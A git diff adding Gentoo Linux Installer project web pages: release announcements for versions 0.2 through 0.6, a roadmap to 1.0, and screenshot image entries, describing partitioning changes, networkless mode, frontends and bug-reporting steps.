+<abstract>
+Information regarding the 0.3 release of the Gentoo Linux Installer.
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>28 Feb 2006</date>
+
+<chapter>
+<title>Version 0.3</title>
+<section>
+<body>
+
+<p>
+The Gentoo Linux Installer team would like to announce version 0.3 of the
+installer.  This release will be an official part of the
+<uri link="/proj/en/releng/release/2006.0/2006.0.xml">2006.0</uri> Gentoo
+release.  The old universal and package CDs have been replaced by the Installer
+LiveCD for the x86 architecture. An experimental AMD64 Installer LiveCD will
+also be released under <path>/experimental</path>, and will have similar
+capabilities, but it is not officially supported.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Improvements</title>
+<section>
+<body>
+
+<p>
+As always, there are many improvements (and bugfixes) since the last version.
+</p>
+
+<ul>
+  <li>
+    Improved support for preserving existing partitions (many, many bugfixes).
+  </li>
+  <li>
+    Complete rewrite of the GRP handling code: We no longer use quickpkg and
+    <c>emerge -K</c>, which has cut the install time for GRP about in half.
+  </li>
+  <li>
+    GTK+ frontend redesign: the listing of steps that was previously in the
+    separate panel on the left has been replaced by the "Future Bar" (as named
+    and designed by blackace). This allows more space for each screen, and it
+    prevents the problem of the steps going off the bottom of the screen.
+  </li>
+  <li>
+    More sub-progress reporting: any install step that takes more than a few
+    seconds will now report on its progress in a secondary progress bar (or as
+    part of the main progress bar in gli-dialog). Included is stuff like
+    partitioning, downloading a tarball, unpacking a tarball, emerging packages,
+    etc.
+  </li>
+  <li>
+    Recommended partition layout: If you have at least 4GB of consecutive
+    unallocated space, the installer can create a partitioning layout for you
+    consisting of a 100MB <path>/boot</path>, a <path>swap</path> with a size
+    calculated based on amount of physical memory, and a <path>/</path> taking
+    up the remaining space.
+  </li>
+  <li>
+    Graceful cleanup after install failure in both frontends.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reporting Bugs</title>
+<section>
+<body>
+
+<p>
+As always with improvements, there are new bugs created to go along with them.
+If you do encounter a bug, make sure to save your
+<path>/tmp/installprofile.xml</path> and
+<path>/var/log/installer.log.failed</path> from the LiveCD right after the
+install fails.  File a bug at
+<uri link="http://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Linux&amp;component=GLI">bugs.gentoo.org</uri>.
+Select the "Gentoo Linux" product and the "GLI" component.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Speed Record</title>
+<section>
+<body>
+
+<p>
+With the installer, we have set a new world speed record for a Gentoo install.
+Using <c>gli-dialog</c>, a local (on disk or on a local ftp/http server) stage3
+tarball, the portage snapshot on the LiveCD, and the GRP option, we have
+completed an install in just under 7 minutes.  This was in VMWare on a box with
+an Athlon64 3200+, 1GB of memory (512MB allocated to VMWare), and a SATA disk.
+The same install in the GTK+ frontend took 10:40 on a Athlon64 4200+ with 1GB
+of memory (384MB allocated to VMWare) and a SATA disk, but the GTK+ frontend
+does a few things (displaying the install logfile and compile output) that the
+dialog frontend does not do.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Screenshots &amp; Videos</title>
+<section>
+<body>
+
+<p>
+There are updated
+<uri link="/proj/en/releng/installer/screenshots/">screenshots</uri> of both
+frontends available.  There are also some videos of different types of installs
+using both frontends.  The videos should be available via the
+<uri link="http://torrents.gentoo.org/">Gentoo bittorrent tracker</uri>.  The
+three install types are:
+</p>
+
+<ul>
+  <li>
+    basic: minimal install, dynamic stage3, GRP for logger, cron, and bootloader
+  </li>
+  <li>
+    gnome GRP: dynamic stage3, GRP option, gnome added to extra packages
+  </li>
+  <li>
+    speed test: minimal install, local stage3 tarball, GRP for logger, cron, and
+    bootloader
+  </li>
+</ul>
+
+<p>
+The first two types are both networkless.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Future</title>
+<section>
+<body>
+
+<p>
+As mentioned in the release announcement for 0.2, there is also a web-based
+frontend in the works.  It is the profile creation component of the network
+deployment system called GLIMD (Gentoo Linux Installation Management Daemon).
+GLIMD is designed to deploy multiple machines (optionally with different
+profiles) simultaneously.  While we have had a few successful test installs with
+this method, it is still *extremely* alpha.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/release-0.4.txt b/xml/htdocs/proj/en/releng/installer/release-0.4.txt
new file mode 100644
index 00000000..64590187
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/release-0.4.txt
@@ -0,0 +1,33 @@
+The Installer Team is happy to announce the 0.4 release of the Gentoo Linux
+Installer.  There are two major new features in this release and a number of 
+smaller changes.  
+
+The biggest change is an overhaul of the partitioning code.  The installer will
+now be more gentle to people's drives and not recreate the partition map unless
+it must.  Also, it will now abort an install _before_ partitioning if an 
+unsupported layout or unknown filesystem is found.  Note that unformatted 
+partitions are currently considered "unknown" by the installer for safety 
+reasons; please format them beforehand.  
+
+The second big change is the addition of a "Networkless" mode in the frontends.
+Selecting a networkless install pre-selects many options and disables other 
+options.  This is in an effort to avoid letting users easily create 
+configurations that will break the installation.  Because of a lack of an 
+Internet connection, the installer limits the packages and versions available 
+to emerge.
+
+There have been a few other changes, mostly bug fixes, but the same general 
+rules still apply.  The installer is designed to be as flexible as possible, so
+despite our efforts to make it robust, if you really try to break it, you will
+likely succeed.
+
+We appologize that we have not been able to provide more features this release;
+the lead developers have been pre-occupied with making the 2006.1 release and
+getting the Scire project off the ground.  Not to worry though!  We still have
+a lot of things planned for the installer.  Goals for the 2007.0 release 
+include working internationalization in the frontends, improved partitioning 
+with possibly LVM support, an overhaul of some of the GTK frontend screens, 
+and support for ppc and Alpha architectures.
+
+As always, if you find a bug in the installer, please first READ THE FAQ, and 
+if it is not a known issue or fixed in CVS, please file a bug using bugzilla.
diff --git a/xml/htdocs/proj/en/releng/installer/release-0.5.txt b/xml/htdocs/proj/en/releng/installer/release-0.5.txt
new file mode 100644
index 00000000..7090f4d6
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/release-0.5.txt
@@ -0,0 +1,45 @@
+The Gentoo Linux Installer team would like to announce version 0.5[.4] (we've
+found a few bugs since the initial 0.5 release) of the installer. This release,
+which is available on the 2007.0 x86 and amd64 LiveCD/DVDs, has a lot of changes
+from the previous one (so many that it really should have been a new major
+version, but we haven't even reached 1.0 yet, so it's a bit hard to jump to
+2.0).
+
+The major change is that the installer is now interactive, so instead of
+configuring everything and then letting the install go, it acts more like every
+other installer that has ever existed. If you're looking for something to do
+automated installs, check out the installer's sister project, Quickstart at
+<http://dev.gentoo.org/~agaffney/quickstart.php>.
+
+As always, there are many improvements (and bugfixes) since the last version.
+
+  * Yet Another Partitioning Code Overhaul: partitioning is now done in real
+    time, so all of the problems that affected previous installer versions are
+    now gone. It is completely and absolutely safe. The worst it can do is mess
+    up when deleting a partition you wanted to delete or creating a new
+    partition, neither of which will result in data loss.
+  * GTK+ frontend redesign: most of the screens have been redesigned from the
+    ground up to go along with the new real-time functionality of the installer.
+    The content of the screens is drawn dynamically as you reach the screen,
+    instead of just disabling elements that don't apply anymore due to previous
+    decisions. This makes the interface seem a lot less clunky. We also have some
+    cool new graphics for the splash screen and banner image thanks to blackace.
+  * GTK+ frontend allows you to choose from 3 modes: Networkless, Standard, and
+    Advanced.
+  * GRP mode is now only available in Networkless mode.
+  * When existing prematurely from the installer, it will offer to clean up after
+    itself (unmount partitions, move logfiles, etc.)
+  * Dialog frontend has been given an overhaul and now has complete i18n support
+    along with 5 translations.
+  * CLI frontend fixup: the non-interactive CLI frontend has been fixed up. It
+    can be used to do automated installs with GLI if you create an install
+    profile by hand if you pre-partition or use the recommended partition layout.
+
+As always with improvements, there are new bugs created to go along with them.
+If you do encounter a bug, make sure to save your /tmp/installprofile.xml and
+/var/log/installer.log.failed from the LiveCD right after the install fails.
+File a bug at http://bugs.gentoo.org/. Select the "Gentoo Release Media" product
+and the "Installer" component. If you can't find that, just use the following
+link:
+
+http://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Release%20Media&component=Installer&format=guided
diff --git a/xml/htdocs/proj/en/releng/installer/release-0.6.txt b/xml/htdocs/proj/en/releng/installer/release-0.6.txt
new file mode 100644
index 00000000..8efc644a
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/release-0.6.txt
@@ -0,0 +1,25 @@
+The Gentoo Linux Installer team has released version 0.6.6 of the installer
+on the 2008.0-r1 LiveCDs for x86 and amd64.  The improvements in this release
+are intended to improve the stability and simplicity of the installation
+(yes, we know, at the expense of customizability).  For those still wanting
+to customize every detail, the ability to do a manual install will always
+exist in Gentoo.  Another alternative would be Quickstart for automated
+installations, assuming you have a blank or pre-partitioned drive to work with.
+
+Major Changes:
+* Partitioning has been simplified and somewhat limited to improve stability.
+  All changes occur immediately rather than get queued up.  Make note of that.
+* The installer now *only* supports networkless installations.  This was done
+  because we have spent a lot of time trying to make the release snapshot stable
+  and it is a good base upon which you can update things later if necessary.
+  Also the installs are faster this way, and don't require downloading or run
+  the risk of hitting broken tree issues.
+
+As always with improvements, there are new bugs created to go along with them.
+If you do encounter a bug, make sure to save your /tmp/installprofile.xml and
+/var/log/installer.log.failed from the LiveCD right after the install fails.
+File a bug at http://bugs.gentoo.org/. Select the "Gentoo Release Media" product
+and the "Installer" component. If you can't find that, just use the following
+link:
+
+http://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Release%20Media&component=Installer&format=guided
diff --git a/xml/htdocs/proj/en/releng/installer/release0.2.txt b/xml/htdocs/proj/en/releng/installer/release0.2.txt
new file mode 100644
index 00000000..dce9a93f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/release0.2.txt
@@ -0,0 +1,71 @@
+The installer team is proud to announce the release of version 0.2 of the
+Gentoo Linux Installer. There have been many improvements over the 0.1 ("alpha")
+release including many new features and many annoying bugs squished.
+
+
+New features
+------------
+* Sub-progress bar (shows the progress of the individual install step)
+* Tarball extraction progress (shows how far along it is extracting a tarball)
+* New code for dynamic-stage3 that cuts the time in half along with not
+  cluttering up your new install with binary packages.
+* Optional verbose logging for debug purposes.
+* Notification of which packages are available in GRP form (gli-dialog only)
+* More graceful failure cleanup (now unmounts mounted partitions) (gtkfe only)
+* Pre-configured xorg.conf is now copied to the new system when xorg-x11 is
+    installed.
+* If selecting a graphical desktop xdm is set to boot automatically in
+    standard mode (prompt in advanced) (gli-dialog only)
+* Automatic snapshot/make.conf screens for dynamic stage3 installs (this is
+    necessary to prevent b0rkage)
+
+
+Bugs fixed since 0.1
+--------------------
+* NTFS/FAT32 code problem that left you with an empty partition table
+* attempting to mount unallocated space
+* Various bootloader bugs
+
+Issues not resolved in 0.2 but fixed in CVS
+-------------------------------------------
+* Mounting windows partitions can cause filesystem format issues (fat16/32
+ instead of vfat)
+
+Along with the new version of the installer, there is also a new LiveCD (extra
+thanks to wolf-31o2 for that). Some of the changes include:
+
+* Gimp and bittorrent have been added
+* Fixes to allow Gnome to install properly via GRP
+
+Issues not yet resolved
+-----------------------
+* gli-dialog error cleanup (should be an option)
+* bootloader customizability.  currently the boot device is determined by
+    /boot (or / if no /boot) and the MBR of that device is written to instead
+    of whatever device boots first.  This is currently being fixed.
+* internationalization support in gli-dialog is still only at "ready to go"
+    status
+
+Coming soon to a LiveCD near you! (i.e. what to expect from 0.3)
+----------------------------------------------------------
+* Dynamic/virtual hard-drives!  You can define partitions with percentages.
+
+* A brand new FE!  Webgli, a web-browser-based FE, combines aspects from the
+    previous two FEs into a new and simple interface for creating install
+    profiles.
+
+* Mastergli (TEMPORARY NAME), a mass-installation utility, which will be 
+    combined with webgli to help create profiles.  This finally addresses the
+    second half of the Gentoo Installer's project goals.  It will allow users
+    to PXE boot client machines that will be detected by the mastergli server 
+    (these can also be defined manually) and specify which install profile to 
+    use for that machine.  This lets you create template machines such as 
+    "image-server" or "mail-server" or "normal-workstation" for example and 
+    pick and choose boxes and profiles.  It then will spawn off the selected 
+    installs and provide status updates via the same web interface.  The 
+    mastergli settings will of course be able to be saved/loaded with a master 
+    profile XML file.  Since this interface will work remotely (if allowed) and 
+    in links2, it is not likely that there will be a command-line version of 
+    mastergli anytime soon.  Mastergli utilizes SecureXMLRPC code from samyron 
+    as well as backend code from chotchki and of course agaffney.
+
diff --git a/xml/htdocs/proj/en/releng/installer/roadmap.xml b/xml/htdocs/proj/en/releng/installer/roadmap.xml
new file mode 100644
index 00000000..5f6b71ef
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/roadmap.xml
@@ -0,0 +1,88 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/installer/roadmap.xml,v 1.4 2005/08/15 04:54:36 blackace Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/roadmap.xml">
+<title>Gentoo Linux Installer Roadmap</title>
+
+<author title="Author">
+  <mail link="npmccallum@gentoo.org">Nathaniel P. McCallum</mail>
+</author>
+<author title="Author">
+  <mail link="codeman@gentoo.org">Preston Cody</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+A roadmap to the 1.0 release of the Gentoo Linux Installer
+</abstract>
+
+<license/>
+
+<version/>
+<date>14 Aug 2005</date>
+
+<chapter>
+<title>Roadmap</title>
+<section>
+<body>
+
+<p>
+This is a roadmap to the 1.0 release of the Gentoo Linux Installer
+which will occasionally be updated to reflect the current issues and
+future milestones for the project.  For a more detailed roadmap, see
+the TODO list.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Alpha Release (Complete)</title>
+<section>
+<title>Completed Tasks</title>
+<body>
+
+<ul>
+  <li>Alpha version complete with a functional x86 installer with two
+front ends (dialog and GTK)</li>
+  <li>Await the release of the 2005.1 experimental livecd with X.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Beta Release</title>
+<section>
+<title>Pending Tasks</title>
+<body>
+
+<ul>
+  <li>Add <path>/etc/portage/*</path> support.</li>
+  <li>Allow users to create a custom kernel config during an install.</li>
+  <li>Add distcc support.</li>
+  <li>Integrate localization capabilities.</li>
+  <li>Complete support for non-x86 architectures.</li>
+  <li>Support for SELinux.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Completed Tasks</title>
+<body>
+
+<ul>
+  <li>Partitioning rewrite to use size in MB instead of start and end sectors.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_menu.jpg b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_menu.jpg
new file mode 100644
index 00000000..0546f4c7
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_menu.jpg
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_menu.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_menu.thumb.png
new file mode 100644
index 00000000..f2681cbd
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_menu.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net1.jpg b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net1.jpg
new file mode 100644
index 00000000..8694e3fc
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net1.jpg
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net1.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net1.thumb.png
new file mode 100644
index 00000000..95617f7b
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net1.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net2.jpg b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net2.jpg
new file mode 100644
index 00000000..70889ea0
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net2.jpg
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net2.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net2.thumb.png
new file mode 100644
index 00000000..7b0cf2c2
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_net2.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_nfs.jpg b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_nfs.jpg
new file mode 100644
index 00000000..ebd86797
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_nfs.jpg
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_nfs.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_nfs.thumb.png
new file mode 100644
index 00000000..cc8b27d5
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_nfs.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_part.jpg b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_part.jpg
new file mode 100644
index 00000000..39c2e4d1
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_part.jpg
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_part.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_part.thumb.png
new file mode 100644
index 00000000..0e389356
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_part.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_welcome.jpg b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_welcome.jpg
new file mode 100644
index 00000000..0882793b
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_welcome.jpg
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/dlg_welcome.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_welcome.thumb.png
new file mode 100644
index 00000000..c38ee425
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/dlg_welcome.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_bootloader.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_bootloader.png
new file mode 100644
index 00000000..68d7ab13
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_bootloader.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_bootloader.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_bootloader.thumb.png
new file mode 100644
index 00000000..1095cdf3
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_bootloader.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_misc.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_misc.png
new file mode 100644
index 00000000..eeb43465
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_misc.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_misc.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_misc.thumb.png
new file mode 100644
index 00000000..bd3c5636
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_misc.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_network.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_network.png
new file mode 100644
index 00000000..f352f4e8
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_network.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_network.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_network.thumb.png
new file mode 100644
index 00000000..7e4e948b
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_clientconfig_network.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_daemons.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_daemons.png
new file mode 100644
index 00000000..1be11132
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_daemons.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_daemons.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_daemons.thumb.png
new file mode 100644
index 00000000..7e981b80
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_daemons.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_extrapackages.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_extrapackages.png
new file mode 100644
index 00000000..28e1dab0
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_extrapackages.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_extrapackages.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_extrapackages.thumb.png
new file mode 100644
index 00000000..49f517e1
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_extrapackages.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_kernel.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_kernel.png
new file mode 100644
index 00000000..bf83b11f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_kernel.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_kernel.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_kernel.thumb.png
new file mode 100644
index 00000000..d8b7ad44
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_kernel.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_makedotconf.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_makedotconf.png
new file mode 100644
index 00000000..049997e2
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_makedotconf.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_makedotconf.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_makedotconf.thumb.png
new file mode 100644
index 00000000..2ed45db3
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_makedotconf.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_netmounts.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_netmounts.png
new file mode 100644
index 00000000..449d35b9
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_netmounts.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_netmounts.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_netmounts.thumb.png
new file mode 100644
index 00000000..504203b2
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_netmounts.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_network.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_network.png
new file mode 100644
index 00000000..30d2c9a1
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_network.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_network.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_network.thumb.png
new file mode 100644
index 00000000..b856e49f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_network.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_othersettings.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_othersettings.png
new file mode 100644
index 00000000..470f8223
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_othersettings.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_othersettings.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_othersettings.thumb.png
new file mode 100644
index 00000000..0572f84e
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_othersettings.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partition.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partition.png
new file mode 100644
index 00000000..3396fa7c
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partition.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partition.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partition.thumb.png
new file mode 100644
index 00000000..f9560b50
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partition.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partprop.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partprop.png
new file mode 100644
index 00000000..fdedcd4c
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partprop.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partprop.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partprop.thumb.png
new file mode 100644
index 00000000..95bb6d06
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_partprop.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_portagetree.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_portagetree.png
new file mode 100644
index 00000000..8d703a92
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_portagetree.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_portagetree.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_portagetree.thumb.png
new file mode 100644
index 00000000..b4965548
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_portagetree.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_review.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_review.png
new file mode 100644
index 00000000..884f0cdb
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_review.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_review.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_review.thumb.png
new file mode 100644
index 00000000..3d3e8fc4
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_review.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_stage.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_stage.png
new file mode 100644
index 00000000..2ed0b946
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_stage.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_stage.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_stage.thumb.png
new file mode 100644
index 00000000..400db7fd
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_stage.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_startupservices.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_startupservices.png
new file mode 100644
index 00000000..008aa34e
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_startupservices.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_startupservices.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_startupservices.thumb.png
new file mode 100644
index 00000000..24a613f1
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_startupservices.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_timezone.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_timezone.png
new file mode 100644
index 00000000..9564f9d9
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_timezone.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_timezone.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_timezone.thumb.png
new file mode 100644
index 00000000..22e4399c
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_timezone.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_users.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_users.png
new file mode 100644
index 00000000..2bb53ae8
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_users.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_users.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_users.thumb.png
new file mode 100644
index 00000000..cac3fd98
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_users.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_welcome.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_welcome.png
new file mode 100644
index 00000000..0d9651c1
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_welcome.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/gtk_welcome.thumb.png b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_welcome.thumb.png
new file mode 100644
index 00000000..ea212e5f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/gtk_welcome.thumb.png
diff --git a/xml/htdocs/proj/en/releng/installer/screenshots/index.xml b/xml/htdocs/proj/en/releng/installer/screenshots/index.xml
new file mode 100644
index 00000000..a29b063a
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/screenshots/index.xml
@@ -0,0 +1,245 @@
